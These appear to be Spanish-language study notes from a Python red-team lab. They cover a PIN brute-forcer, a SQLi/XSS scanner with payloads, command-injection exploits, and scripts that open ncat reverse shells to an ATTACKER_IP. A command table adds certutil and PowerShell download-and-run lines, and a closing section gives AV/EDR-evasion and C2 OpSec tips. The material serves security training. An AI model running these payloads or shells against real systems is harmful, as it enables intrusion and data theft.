Ataques y defensa

Tooling propio en Python

#automation#brute-force#custom-tooling#exploit-dev#python#red-team#web-security

Las herramientas existentes (open-source o comerciales) rara vez encajan perfectamente en un engagement específico. Además, la mayoría ya están firmadas, lo que aumenta significativamente…

El código es la herramienta definitiva del red team: permite crear herramientas a medida, automatizar flujos de ataque repetitivos y evadir la detección que enfrentan las herramientas conocidas y firmadas.


Por qué crear herramientas propias

Las herramientas existentes (open-source o comerciales) rara vez encajan perfectamente en un engagement específico. Además, la mayoría ya están firmadas, lo que aumenta significativamente la probabilidad de detección por AV/EDR. El código personalizado permite:

  • Adaptar la funcionalidad a necesidades exactas del engagement
  • Automatizar exploits y workflows repetitivos
  • Bypasear mecanismos de detección
  • Modificar exploits existentes para el contexto específico

Scripting vs. Compiled — Comparativa de lenguajes

Factor Scripting (Python, Ruby, JS) Compiled (Go, C++, .NET)
Velocidad de desarrollo Rápido — interpretado directamente Más lento — requiere compilación
Rendimiento Más lento (interpretado en runtime) Más rápido (compilado a machine code)
Facilidad de uso Más fácil de crear y modificar al vuelo Sintaxis más estricta
Portabilidad Cross-platform, pero requiere intérprete instalado Builds específicos de plataforma, pero no necesita runtime adicional
Evasión / detección Fácil de ofuscar, pero puede activar AV/EDR por patrones de scripting Más difícil de analizar; mejor para evadir detección
Acceso al SO Bueno para automation e interacción con herramientas Acceso de bajo nivel a recursos del sistema

Comparativa de lenguajes específicos

Lenguaje Tipo Ventajas Desventajas
Python Scripting Librerías extensas, prototipado rápido, gran comunidad Ejecución lenta, alta detección por AV/EDR
JavaScript Scripting Web-based, threading fácil, amplio soporte en apps web No apto para tareas de sistema de bajo nivel, alta detección
Go (Golang) Compiled Tipado estático, concurrencia eficiente, cross-compilation sencilla Binarios grandes, pocas librerías específicas de seguridad
.NET (C#) Compiled Integra bien con APIs de Windows, técnicas de ofuscación maduras Compatibilidad cross-platform limitada, requiere .NET runtime
C++ Compiled Muy rápido, acceso directo a memoria, herramientas sigilosas Sintaxis compleja, debugging difícil

Python es el más usado para custom security tooling: prototipado rápido, librerías extensas (networking, web, automation), sintaxis simple, y con herramientas como py2exe puede compilarse a binario para sistemas Windows sin intérprete.


Brute-Force Tool (Python)

Caso: bypass de autenticación con PIN numérico de 4 dígitos

El objetivo tiene un login panel con usuario admin y contraseña numérica de 4 dígitos (conocido por logs o frontend). En lugar de intentar manualmente:

import requests
url = "http://python.thm/labs/lab1/index.php"
username = "admin"
# Generar todas las combinaciones 0000-9999
password_list = [str(i).zfill(4) for i in range(10000)]
def brute_force():
for password in password_list:
data = {"username": username, "password": password}
response = requests.post(url, data=data)
if "Invalid" not in response.text:
print(f"[+] Found valid credentials: {username}:{password}")
break
else:
print(f"[-] Attempted: {password}")
brute_force()

Puntos clave:

  • zfill(4): rellena con ceros a la izquierda (0001, 0023, etc.)
  • Para iterar sobre caracteres: string.ascii_uppercase (A-Z), string.ascii_lowercase (a-z)
  • La respuesta negativa contiene “Invalid” → si no aparece, las credenciales son válidas
  • Mejora: añadir multi-threading para enviar múltiples requests en paralelo

Vulnerability Scanner (Python)

Caso: detección de SQLi y XSS con multi-threading

import requests
import re
import threading
url = "http://python.thm/labs/lab2/greetings.php?id="
payloads = {
"SQLi": ["'", "' OR '1'='1", "\" OR \"1\"=\"1", "'; --", "' UNION SELECT 1,2,3 --"],
"XSS": ["<script>alert('XSS')</script>", "'><img src=x onerror=alert('XSS')>"]
}
sqli_errors = [
"SQL syntax", "SQLite3::query():", "MySQL server", "syntax error",
"Unclosed quotation mark", "near 'SELECT'", "Unknown column",
"Warning: mysql_fetch", "Fatal error"
]
def scan_payload(vuln_type, payload):
response = requests.get(url, params={"id": payload})
content = response.text.lower()
if vuln_type == "SQLi" and any(error.lower() in content for error in sqli_errors):
print(f"[+] Potential SQL injection detected with payload: {payload}")
elif vuln_type == "XSS" and payload.lower() in content:
print(f"[+] Potential XSS detected with payload: {payload}")
threads = []
for vuln, tests in payloads.items():
for payload in tests:
t = threading.Thread(target=scan_payload, args=(vuln, payload))
threads.append(t)
t.start()
for t in threads:
t.join()

Lógica de detección:

  • SQLi: inyectar payloads típicos y buscar mensajes de error de BD en la respuesta (SQL syntax error, Unknown column, etc.)
  • XSS: inyectar payload JS y verificar si aparece sin sanitizar en la respuesta (reflected XSS)
  • Multi-threading: threading.Thread ejecuta cada payload en su propio hilo, reduciendo el tiempo de escaneo significativamente

Exploit Development (Python)

RCE básico: explotar endpoint vulnerable

import requests
TARGET_URL = "http://python.thm/labs/lab3/execute.php?cmd="
command = "whoami"
response = requests.get(TARGET_URL + command)
if response.status_code == 200:
print("[+] Command Output:")
print(response.text)
else:
print("[-] Exploit failed. HTTP Status:", response.status_code)

Shell interactiva (múltiples comandos)

import requests
TARGET_URL = "http://python.thm/labs/lab3/execute.php?cmd="
print("[+] Interactive Exploit Shell")
while True:
cmd = input("Shell> ")
if cmd.lower() in ["exit", "quit"]:
break
response = requests.get(TARGET_URL + cmd)
if response.status_code == 200:
print(response.text)
else:
print("[-] Exploit failed")

Reverse shell automatizado

import requests
TARGET_URL = "http://python.thm/labs/lab3/execute.php?cmd="
# Linux reverse shell con ncat:
payload = "ncat ATTACKBOX_IP 4444 -e /bin/bash"
print("[+] Sending reverse shell payload...")
requests.get(TARGET_URL + payload)

Listener en la máquina atacante:

Terminal window
nc -lvnp 4444

Comandos RCE comunes post-explotación:

Linux:

Comando Descripción
whoami Usuario actual
id User y group IDs
uname -a Detalles del sistema
cat /etc/passwd Archivo de contraseñas
ls -la Listado de archivos con permisos
nc -e /bin/bash <ip> <port> Reverse shell via netcat
python3 -c 'import pty; pty.spawn("/bin/bash")' Upgrade a shell interactiva

Windows:

Comando Descripción
whoami Usuario actual
hostname Hostname del sistema
ipconfig /all Información de red
net user Lista de usuarios locales
tasklist Procesos en ejecución
certutil -urlcache -f http://attacker/shell.exe shell.exe Descarga ejecutable
powershell -c "IEX(New-Object Net.WebClient).DownloadString('...')" Ejecuta PS payload remoto

Task Automation — Session Management

Mantener sesión autenticada

requests.Session() almacena cookies automáticamente tras el login:

import requests
session = requests.Session()
login_url = "http://python.thm/labs/lab4/login.php"
credentials = {"username": "admin", "password": "password123"}
response = session.post(login_url, data=credentials)
if "Welcome" in response.text:
print("[+] Login successful. Session cookies stored automatically!")
else:
print("[-] Login failed.")

Exploit completo: login → command injection → reverse shell

import requests
LOGIN_URL = "http://python.thm/labs/lab4/login.php"
EXECUTE_URL = "http://python.thm/labs/lab4/dashboard.php"
USERNAME = "admin"
PASSWORD = "password123"
def authenticate():
session = requests.Session()
response = session.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD})
if "Welcome" in response.text:
print("[+] Authentication successful.")
return session
return None
def execute_command(session, command):
response = session.post(EXECUTE_URL, data={"cmd": command})
if "Session expired" in response.text:
print("[-] Session expired! Re-authenticating...")
session = authenticate()
print(f"[+] Output:\n{response.text}")
def get_reverse_shell(session, attacker_ip, attacker_port):
payload = f"ncat {attacker_ip} {attacker_port} -e /bin/bash"
execute_command(session, payload)
session = authenticate()
if session:
execute_command(session, "whoami")
get_reverse_shell(session, "ATTACKER_IP", 4444)

Flujo del exploit automatizado:

  1. authenticate() — bypass de autenticación o login con credenciales
  2. execute_command() — explota command injection; re-autentica si la sesión expira
  3. get_reverse_shell() — establece acceso persistente via reverse shell

Flujo completo: de descubrimiento a shell

flowchart TD
    A[Recon: identificar endpoint vulnerable] --> B[Scanner: detectar SQLi/XSS/RCE]
    B --> C[Brute force: obtener credenciales]
    C --> D[Session: mantener autenticación]
    D --> E[Command injection: ejecutar comandos]
    E --> F[Reverse shell: acceso persistente]

OpSec para custom tooling

  • Tráfico HTTP: usar User-Agent realista para no destacar en logs
  • Timing: añadir time.sleep() entre requests para evitar rate limiting y detección por volumen
  • HTTPS: usar siempre TLS para C2 y exfiltración
  • Logging: no dejar archivos de log de tus herramientas en el sistema objetivo
  • Detección: los scripts Python pueden ser detectados por AV/EDR; considerar py2exe o lenguaje compilado para mayor sigilo

Ver también

Título original en mis apuntes: Python Custom Tooling